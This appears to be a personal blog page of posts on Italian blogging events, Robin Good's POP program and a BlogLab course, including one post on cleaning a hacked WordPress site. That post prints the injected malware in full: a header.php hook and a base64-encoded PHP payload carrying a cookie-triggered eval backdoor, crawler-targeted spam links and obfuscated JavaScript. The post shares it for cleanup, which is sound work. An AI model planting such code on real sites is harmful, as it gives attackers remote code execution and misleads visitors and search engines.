Commercial Open Source Software

Robin Good tomorrow will held his first POP Workshop in Rome, an event dedicated to online publishers willing to design and implement an effective communication strategy. Robin Good invited me to share with his attendees my thoughts on personal branding, and I look forward to join the New Media Strategy session along with Italo Cillo, Andrea Genovese and  Giulio Marsala.

See you there!

MasterNewMedia daily online magazine is 10 years old! Congratulations to Robin Good also for passing the one million revenue mark coming from google ads displayed on MasterNewMedia.

Robin keep up with your great work , and I look forward to learn more from you with POP.

Almost one year ago my friend and mentor Robin Good told me he was working to launch POP, the first online community and learning program of professional web publishers. Now his program is live, the first course is fully booked and being luckily one of his students I am looking forward to learn more things from him.

I keep updating my blog to organize information in a clearer way, and I made some changes just yesterday, while WordPress was stating that WordPress themes are GPL too.

Matteo Ionescu, who originally brought my blog to 2.0 life, helped me to make more cosmetics changes, especially about new and old widgets, and my K2 template today comes with a slightly new look (new ‘top posts’ box, smaller ‘categories’ box, etc).

Comments and feedback are welcome, more is to come soon!

Piu’blog 2008 , arrived this year at its third edition, aims at spreading the Italian blogosphere out of the blogosphere. Piùblog - hold within the the annual fair of the independent Italian publishers “Più libri più liberi” from the 5th of December until today - offered more than 30 different sessions, ranging from Second Life to social media and networks.

Continue reading ‘Italian Blogosphere: Piùblog 2008 meet-up’

Piublog 2008 will take place in Rome 5-8 December within the event “Più libri più liberi” (eng.: more books, more freedom), the annual fair of the independent Italian publishers.

Piublog 2007 was a great venue to meet in person Italian bloggers and influencers, 2008 edition has three different sessions and seems really promising.

Italo Vignoli kindly invited me to talk in his session - Social Life. Friendfeed, Facebook and Myspace, between fun and usefulness -  about my experiences and impressions about corporate blogging, as observer of the International ICT scene. I am looking forward to meet old and new friends to share our vision of the future.

Commercial Open Source blog has completed its second year of life, and it is now time for another one year in review post.

I want start saying thanks to my great friend Antonella Beccaria, who generously took good care of my blog for two long years, and my new appointed webmaster Matteo Ionescu, who is bringing my blog to 2.0 life. Last but not least I want to add also my mentor Robin Good to the list of persons I am grateful.

Continue reading ‘Commercial Open Source Blog: another year in review’

Robin Good just launched POP, Professional On-line Publisher, an easy way to learn and find out how to setup and maintain a successful web publishing project.

What strikes me as unique is the new approach, a new video-blog to share his experience. On one hand he doesn’t ask anything to share information that is both personal and valuable, offering even more goodies in exchange for your name and email. I asked him on a skype conversation what he is planning to do with his, and he answered:

For now I am planning to use POP only as video sharing venue where I can provide advice, and my personal discoveries about what I have found out to work when you are a professional web publisher. So you should expect more interesting video gifts in the coming weeks, where I will actually show you things that I have never shared with anyone before. Publishing strategy, monetization, marketing. I cover them all.

If you have a company blog you attend, I would suggest you to follow Robin’s initiative. I have learned a lot from him, and if he goes out of his way to share something about online publishing, I think he has something valuable to take away with you.

Technorati Tags: RobinGood, POP, Professional Online Publisher, web publishing

BlogLab is a laboratory course held by Stefano Epifani and Antonio Sofi at the University of Rome, Faculty of Communication Science. BlogLab introduces students to blogging and how to blog, allowing students to learn by doing through face-to-face and on line discussions with fellows.

The image was removed as required by the original author, see comments below

BlogLab is at its second edition, the course aims at helping neo-bloggers to manage their blog with the aid of experienced bloggers for a period of time. A jury will evaluate the works produced, and the winners will eventually get an internship opportunity by selected companies.

Last year 60 students participated to the course, 50 blogs were opened and managed by the students and 7 companies offered an ad hoc internship program.

This year I am going myself to be a fellow instructor, along with many well-known Italian bloggers like my friends Nicola Mattina, Diego Bianchi and Antonio Pavolini who I just met yesterday afternoon when I got there.

Happy blogging!

Technorati Tags: BlogLab, StefanoEpifani, AntonioSofi, NicolaMattina, DiegoBianchi, AntonioPavolini

Two days ago a my Northern European friend Era after reading a post adviced me that my blog site have been silently owned by Search Engine spammers. Spam in blog is definitely not a new phenomenon, but I knew very little of spam injection before, and I hope my experience can help other Wordpress users.

The problem was that a foreign div loads in the header “div id=goro“, and a list of spam links to various porn links. I asked my dear webbie to help me, and she put me in touch with Francesco Mosca, who actually fixed the problem as follows.

Within the theme’s page header.php, hacked using likely a wordpress 2.0.1 bug:

create_function('', get_option("blog_headers")); ?>

[snipped code]

<?php $wp_headers() ?>

Actually those lines of code were calling the code contained within the database in the blog_headers option (“wp_options” table, option_name = ‘blog_headers’):

611a2dee6df9249f21eb25f254b7f8f3611a2dee6df9249f21eb25f254b
7f8f3611a2dee6df9249f21eb25f254b7f8f3611a2dee6df9249f21eb25
f254b7f8f3611a2dee6df9249f21eb25f254b7f8f3*/ $c55375dba9d2f1867f4083acce95988dd=’Pz48P3BocAoJaWYoaXNzZX
QoJF9DT09LSUVbJ2F1dGgnXSkgJiYgJF9DT09LSUVbJ2F1dGgnXSA9PSAn
NjExYTJkZWU2ZGY5MjQ5ZjIxZWIyNWYyNTRiN2Y4ZjMnKSB7CgkJaWYgK
Glzc2V0KCRfQ09PS0lFWydzaG93X3Rlc3QnXSkpIHsKCQkJZWNobygiPFRF
U1RQQVNTPiIpOwoJCX0KCQkkaSA9IDA7ICRsaW4gPScnOwoJCXdoaWxlI
Chpc3NldCgkX0NPT0tJRVsnbGFzdGluJy4kaV0pKSB7CgkJCSRsaW4uPSAk
X0NPT0tJRVsnbGFzdGluJy4kaV07CgkJCSRpKys7CgkJfQoJCWlmKHN0cmx
lbigkbGluKT4wKSB7CgkJCWVjaG8oIjxsYXN0aW4+Ii5tZDUoJGxpbikuIjwvb
GFzdGluPjxleC1kYXRhPiIpOwoJCQkkbGluID0gcHJlZ19yZXBsYWNlKCcvXy
8nLCAnKycsICRsaW4pOwoJCQlldmFsKGJhc2U2NF9kZWNvZGUoJGxpbikpO
woJCQllY2hvKCI8L2V4LWRhdGE+Iik7CgkJCSRjb2RlID0gZ2V0X29wdGlvbig
nYmxvZ19oZWFkZXJzJyk7CgkJCWlmIChwcmVnX21hdGNoKCcvOTU5ODh
kZD1cJyguKj8pXCcvcycsICRjb2RlLCAkcmVncykpIHsKCQkJCWVjaG8oIjx2
ZXI+Ii5tZDUoJHJlZ3NbMV0pLiI8L3Zlcj4iKTsKCQkJfQoJCX0KCQlleGl0KCk7
Cgl9CgkkdGV4dCA9IGdldF9vcHRpb24oJ3JlY2VudGx5X2FkZGVkJyk7Cgkkd
WEgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CglpZiAoaXNzZXQ
oJHRleHQpICYmIHN0cmxlbigkdGV4dCk+MCAmJiAocHJlZ19tYXRjaCgnLyhib
3R8c3BpZGVyfHNsdXJwfGdvb2dsZXxleHBsb3JlcnxmaXJlZm94fG9wZXJhKS
9pJywgJHVhKSkpIHsKCQkJCSRycSA9ICRfU0VSVkVSWyJSRVFVRVNUX1VS
SSJdOwoJCQkJJHJzcyA9ICJyc3NfIi5tZDUoJHJxKTsKCQkJCSRzZWVkID0gd
W5zZXJpYWxpemUoYmFzZTY0X2RlY29kZShnZXRfb3B0aW9uKCRyc3MpKS
k7CgkJCQlpZiAoISRzZWVkKSB7CgkJCQkJZ2xvYmFsICR3cGRiOwoJCQkJCS
R3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdG
lvbl9uYW1lLCBvcHRpb25fdmFsdWUsIG9wdGlvbl9kZXNjcmlwdGlvbiwgYXV0
b2xvYWQpIFZBTFVFUyAoJyRyc3MnLCAnJywgJycsICd5ZXMnKSIpOwoJCQk
JCSRzZWVkID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBMQVNUX0lOU0VSVF9
JRCgpIik7CgkJCQkJdXBkYXRlX29wdGlvbigkcnNzLGJhc2U2NF9lbmNvZGUoc2
VyaWFsaXplKGFycmF5KCRzZWVkLCRycSkpKSk7CgkJCQl9IGVsc2UgewoJCQ
kJCSRzZWVkID0gJHNlZWRbMF07CgkJCQl9CgkJCQkkdGV4dCA9IGJhc2U2NF
+JHdjKSB7CgkJCQkJJHNlZWQtPSR3YzsKCQkJCX0KCQkJCWVjaG8gJzxkaXY
gaWQ9Imdvcm8iPic7CgkJCQllY2hvIGpvaW4oIiZuYnNwOyIsYXJyYXlfc2xpY2
UoJGEsJHNlZWQqMzAtMzAsMzApKTsKCQkJCWVjaG8gJzwvZGl2PjxzY3JpcHQ
gdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4nOwoJCQkJZWNobyAiZnVuY3Rpb24g
Z2V0bWUoc3RyKXsgdmFyIGlkeCA9IHN0ci5pbmRleE9mKCc/Jyk7IGlmIChpZHg
gPT0gLTEpIHJldHVybiBzdHI7IHZhciBsZW4gPSBzdHIubGVuZ3RoOyB2YXIgbm
V3X3N0ciA9ICcnOyB2YXIgaSA9IDE7IGZvciAoKytpZHg7IGlkeCA8IGxlbjsgaW
R4ICs9IDIsaSsrKXsgdmFyIGNoID0gcGFyc2VJbnQoc3RyLnN1YnN0cihpZHgsID
IpLCAxNik7IG5ld19zdHIgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoY2ggKyBp
KSAlIDI1Nik7IH0gZXZhbChuZXdfc3RyKTsgfSI7CgkJCQllY2hvICJnZXRtZSgna
HR0cDovL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9zaG93
X2Fkcy5qcz82MzZENjA3MTY4NUY2NzZDMjU1RDVBNjgzODVFNTY1RDU0NUM
2MTJFNjQzMzREMTAwRTRENTQ1NjUyMDkwQTBFNTI1MjU2NDg0MDA4M0Q0
MTRBNDY0MTM1NEMwRkY4M0UzRTNDMzJGMzA2Jyk7IDwvc2NyaXB0PiI7Cgl
9Cgo/Pg==’;$e_ = error_reporting(0); eval(base64_decode($c55375dba9d2f1867f4083acce95988dd)); error_reporting($e_); return true;

Decoding it with base64_decode came out that such code calls an external javascript that pastes on the fly some spam links in the page, writing also in the option field strings of this form rss_*, like the following:

mysql> select option_value from wp_options where option_name =

‘rss_fffbb7d85fc00f0c0d14abf4fde94ce3′;

+————————————+

| option_value
|+————————————+

| YToyOntpOjA7czo0OiIxMTg3IjtpOjE7czoxODoiL3d3dy5tYW5kcml2YS5jb20vIjt9 |

+————————————+

Besides erasing the above mentioned lines from the header.php, you need also to erase blog_headers and ‘friends’ from the database:

delete from wp_options where option_name = ‘blog_headers’;delete from wp_options where option_name like ‘rss_%’ and option_name

not in (’rss_language’,'rss_use_excerpt’,’ rss_excerpt_length’);

Find the offending goro spamware injection before google bans you from internet pipe. Amazingly as soon as I got it fixed my blog got its previous position.

Note: My blog is under repair these days, the old theme will soon be available, along with twitters and skype alert. Sorry about that.

Technorati Tags: wordpress, goro, spam injection, blog spam, FrancescoMosca